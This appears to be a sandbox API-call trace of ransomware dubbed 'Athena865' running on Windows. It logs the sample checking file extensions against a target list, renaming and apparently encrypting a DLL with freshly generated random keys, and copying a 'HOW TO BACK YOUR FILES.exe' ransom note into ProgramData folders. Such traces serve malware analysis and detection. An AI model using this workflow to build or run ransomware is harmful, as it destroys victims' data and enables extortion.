lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0097.806] lstrlenW (lpString="fmp12") returned 5 [0097.806] lstrcmpiW (lpString1="i.dll", lpString2="fmp12") returned 1 [0097.806] lstrlenW (lpString="fmpsl") returned 5 [0097.806] lstrcmpiW (lpString1="i.dll", lpString2="fmpsl") returned 1 [0097.806] lstrlenW (lpString="fol") returned 3 [0097.806] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0097.806] lstrlenW (lpString="fp3") returned 3 [0097.806] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0097.806] lstrlenW (lpString="fp4") returned 3 [0097.806] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0097.806] lstrlenW (lpString="fp5") returned 3 [0097.806] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0097.806] lstrlenW (lpString="fp7") returned 3 [0097.806] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0097.806] lstrlenW (lpString="fpt") returned 3 [0097.806] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0097.806] lstrlenW (lpString="frm") returned 3 [0097.806] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0097.807] lstrlenW (lpString="gdb") returned 3 [0097.807] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0097.807] lstrlenW (lpString="gdb") returned 3 [0097.807] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0097.807] lstrlenW (lpString="grdb") returned 4 [0097.807] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0097.807] lstrlenW (lpString="gwi") returned 3 [0097.807] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0097.807] lstrlenW (lpString="hdb") returned 3 [0097.807] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0097.807] lstrlenW (lpString="his") returned 3 [0097.807] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0097.807] lstrlenW (lpString="ib") returned 2 [0097.807] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0097.807] lstrlenW (lpString="idb") returned 3 [0097.807] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0097.807] lstrlenW (lpString="ihx") returned 3 [0097.807] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0097.807] lstrlenW (lpString="itdb") returned 4 [0097.807] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0097.807] lstrlenW (lpString="itw") returned 3 [0097.807] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0097.807] lstrlenW (lpString="jet") returned 3 [0097.807] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0097.807] lstrlenW (lpString="jtx") returned 3 [0097.807] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0097.807] lstrlenW (lpString="kdb") returned 3 [0097.807] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0097.807] lstrlenW (lpString="kexi") returned 4 [0097.807] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0097.807] lstrlenW (lpString="kexic") returned 5 [0097.808] lstrcmpiW (lpString1="i.dll", lpString2="kexic") returned -1 [0097.808] lstrlenW (lpString="kexis") returned 5 [0097.808] lstrcmpiW (lpString1="i.dll", lpString2="kexis") returned -1 [0097.808] lstrlenW (lpString="lgc") returned 3 [0097.808] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0097.808] lstrlenW (lpString="lwx") returned 3 [0097.808] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0097.808] lstrlenW (lpString="maf") returned 3 [0097.808] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0097.808] lstrlenW (lpString="maq") returned 3 [0097.808] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0097.808] lstrlenW (lpString="mar") returned 3 [0097.808] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0097.808] lstrlenW (lpString="marshal") returned 7 [0097.808] lstrcmpiW (lpString1="lui.dll", lpString2="marshal") returned -1 [0097.808] lstrlenW (lpString="mas") returned 3 [0097.808] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0097.808] lstrlenW (lpString="mav") returned 3 [0097.808] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0097.808] lstrlenW (lpString="maw") returned 3 [0097.808] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0097.808] lstrlenW (lpString="mdbhtml") returned 7 [0097.808] lstrcmpiW (lpString1="lui.dll", lpString2="mdbhtml") returned -1 [0097.808] lstrlenW (lpString="mdn") returned 3 [0097.808] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0097.808] lstrlenW (lpString="mdt") returned 3 [0097.808] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0097.808] lstrlenW (lpString="mfd") returned 3 [0097.808] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0097.808] lstrlenW (lpString="mpd") returned 3 [0097.808] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0097.809] lstrlenW (lpString="mrg") returned 3 [0097.809] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0097.809] lstrlenW (lpString="mud") returned 3 [0097.809] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0097.809] lstrlenW (lpString="mwb") returned 3 [0097.809] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0097.809] lstrlenW (lpString="myd") returned 3 [0097.809] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0097.809] lstrlenW (lpString="ndf") returned 3 [0097.809] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0097.809] lstrlenW (lpString="nnt") returned 3 [0097.809] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0097.809] lstrlenW (lpString="nrmlib") returned 6 [0097.809] lstrcmpiW (lpString1="ui.dll", lpString2="nrmlib") returned 1 [0097.809] lstrlenW (lpString="ns2") returned 3 [0097.809] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0097.809] lstrlenW (lpString="ns3") returned 3 [0097.809] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0097.809] lstrlenW (lpString="ns4") returned 3 [0097.809] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0097.809] lstrlenW (lpString="nsf") returned 3 [0097.809] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0097.809] lstrlenW (lpString="nv") returned 2 [0097.809] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0097.809] lstrlenW (lpString="nv2") returned 3 [0097.809] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0097.809] lstrlenW (lpString="nwdb") returned 4 [0097.809] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0097.809] lstrlenW (lpString="nyf") returned 3 [0097.809] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0097.809] lstrlenW (lpString="odb") returned 3 [0097.810] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0097.810] lstrlenW (lpString="odb") returned 3 [0097.810] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0097.810] lstrlenW (lpString="oqy") returned 3 [0097.810] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0097.810] lstrlenW (lpString="ora") returned 3 [0097.810] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0097.810] lstrlenW (lpString="orx") returned 3 [0097.810] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0097.810] lstrlenW (lpString="owc") returned 3 [0097.810] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0097.810] lstrlenW (lpString="p96") returned 3 [0097.810] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0097.810] lstrlenW (lpString="p97") returned 3 [0097.810] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0097.810] lstrlenW (lpString="pan") returned 3 [0097.810] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0097.810] lstrlenW (lpString="pdb") returned 3 [0097.810] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0097.810] lstrlenW (lpString="pdm") returned 3 [0097.810] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0097.810] lstrlenW (lpString="pnz") returned 3 [0097.810] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0097.810] lstrlenW (lpString="qry") returned 3 [0097.810] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0097.810] lstrlenW (lpString="qvd") returned 3 [0097.810] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0097.810] lstrlenW (lpString="rbf") returned 3 [0097.810] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0097.810] lstrlenW (lpString="rctd") returned 4 [0097.811] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0097.811] lstrlenW (lpString="rod") returned 3 [0097.811] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0097.811] lstrlenW (lpString="rodx") returned 4 [0097.811] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0097.811] lstrlenW (lpString="rpd") returned 3 [0097.811] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0097.811] lstrlenW (lpString="rsd") returned 3 [0097.811] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0097.811] lstrlenW (lpString="sas7bdat") returned 8 [0097.811] lstrcmpiW (lpString1="rlui.dll", lpString2="sas7bdat") returned -1 [0097.811] lstrlenW (lpString="sbf") returned 3 [0097.811] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0097.811] lstrlenW (lpString="scx") returned 3 [0097.811] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0097.811] lstrlenW (lpString="sdb") returned 3 [0097.811] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0097.811] lstrlenW (lpString="sdc") returned 3 [0097.811] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0097.811] lstrlenW (lpString="sdf") returned 3 [0097.811] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0097.811] lstrlenW (lpString="sis") returned 3 [0097.811] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0097.811] lstrlenW (lpString="spq") returned 3 [0097.811] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0097.811] lstrlenW (lpString="te") returned 2 [0097.811] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0097.811] lstrlenW (lpString="teacher") returned 7 [0097.811] lstrcmpiW (lpString1="lui.dll", lpString2="teacher") returned -1 [0097.812] lstrlenW (lpString="tmd") returned 3 [0097.812] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0097.812] lstrlenW (lpString="tps") returned 3 [0097.812] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0097.812] lstrlenW (lpString="trc") returned 3 [0097.812] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0097.812] lstrlenW (lpString="trc") returned 3 [0097.812] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0097.812] lstrlenW (lpString="trm") returned 3 [0097.812] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0097.812] lstrlenW (lpString="udb") returned 3 [0097.812] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0097.812] lstrlenW (lpString="udl") returned 3 [0097.812] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0097.812] lstrlenW (lpString="usr") returned 3 [0097.812] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0097.812] lstrlenW (lpString="v12") returned 3 [0097.812] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0097.812] lstrlenW (lpString="vis") returned 3 [0097.812] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0097.812] lstrlenW (lpString="vpd") returned 3 [0097.812] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0097.812] lstrlenW (lpString="vvv") returned 3 [0097.812] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0097.812] lstrlenW (lpString="wdb") returned 3 [0097.812] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0097.812] lstrlenW (lpString="wmdb") returned 4 [0097.812] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0097.812] lstrlenW (lpString="wrk") returned 3 [0097.812] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0097.812] lstrlenW (lpString="xdb") returned 3 [0097.813] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0097.813] lstrlenW (lpString="xld") returned 3 [0097.813] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0097.813] lstrlenW (lpString="xmlff") returned 5 [0097.813] lstrcmpiW (lpString1="i.dll", lpString2="xmlff") returned -1 [0097.813] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll.Athena865") returned 58 [0097.813] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll" (normalized: "c:\\programdata\\microsoft\\identitycrl\\ppcrlui.dll"), lpNewFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll.Athena865" (normalized: "c:\\programdata\\microsoft\\identitycrl\\ppcrlui.dll.athena865"), dwFlags=0x1) returned 1 [0097.817] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll.Athena865" (normalized: "c:\\programdata\\microsoft\\identitycrl\\ppcrlui.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0097.817] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=254216) returned 1 [0097.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0097.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5397e8 [0097.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519ff8 [0097.817] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a080) returned 1 [0097.818] CryptGenRandom (in: hProv=0x51a080, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0097.818] CryptReleaseContext (hProv=0x51a080, dwFlags=0x0) returned 1 [0097.818] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e410, lpName=0x0) returned 0x154 [0097.819] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e410) returned 0x170000 [0097.841] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a080) returned 1 [0097.842] CryptGenRandom (in: hProv=0x51a080, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0097.842] CryptReleaseContext (hProv=0x51a080, dwFlags=0x0) returned 1 [0097.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539860 [0097.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539860 | out: hHeap=0x4f0000) returned 1 [0097.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53edd0 [0097.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0097.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0097.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53edd0 [0097.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0097.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0097.843] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0097.845] CloseHandle (hObject=0x154) returned 1 [0097.845] CloseHandle (hObject=0x17c) returned 1 [0097.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5397e8 | out: hHeap=0x4f0000) returned 1 [0097.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519ff8 | out: hHeap=0x4f0000) returned 1 [0097.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0097.851] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 0 [0097.851] FindClose (in: hFindFile=0x529550 | out: hFindFile=0x529550) returned 1 [0097.851] ReleaseMutex (hMutex=0xec) returned 1 [0097.851] CloseHandle (hObject=0xec) returned 1 [0097.851] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft\\Media Player" | out: lpString1="C:\\ProgramData\\Microsoft\\Media Player") returned="C:\\ProgramData\\Microsoft\\Media Player" [0097.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516478 | out: hHeap=0x4f0000) returned 1 [0097.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530c08 | out: hHeap=0x4f0000) returned 1 [0097.851] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Media Player") returned 37 [0097.851] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\7B06D34BDC77AE1A9238B70BDA1D6D7A") returned 0xec [0097.851] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.851] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Media Player" | out: lpString1="C:\\ProgramData\\Microsoft\\Media Player") returned="C:\\ProgramData\\Microsoft\\Media Player" [0097.851] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.851] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\media player\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.852] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\media player\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.852] GetLastError () returned 0x0 [0097.852] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0097.852] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.853] CloseHandle (hObject=0xf4) returned 1 [0097.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.853] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.853] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Media Player\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.853] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.853] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.853] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.854] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.854] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.854] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.854] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.854] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.854] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc47c3e00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.854] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.854] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc47c3e00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0097.854] FindClose (in: hFindFile=0x529550 | out: hFindFile=0x529550) returned 1 [0097.854] ReleaseMutex (hMutex=0xec) returned 1 [0097.854] CloseHandle (hObject=0xec) returned 1 [0097.854] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft\\MF" | out: lpString1="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF" [0097.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x529590 | out: hHeap=0x4f0000) returned 1 [0097.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530c20 | out: hHeap=0x4f0000) returned 1 [0097.854] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\MF") returned 27 [0097.854] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\2C1FB067FAA705B27C5F3F6DD3557B2D") returned 0xec [0097.854] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.854] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\MF" | out: lpString1="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF" [0097.854] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.854] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\MF\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\mf\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.855] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\mf\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.855] GetLastError () returned 0x0 [0097.855] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0097.855] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.856] CloseHandle (hObject=0xf4) returned 1 [0097.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.856] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.856] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529590 [0097.856] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.856] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.856] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.856] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.856] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.857] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.857] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.857] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.857] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, 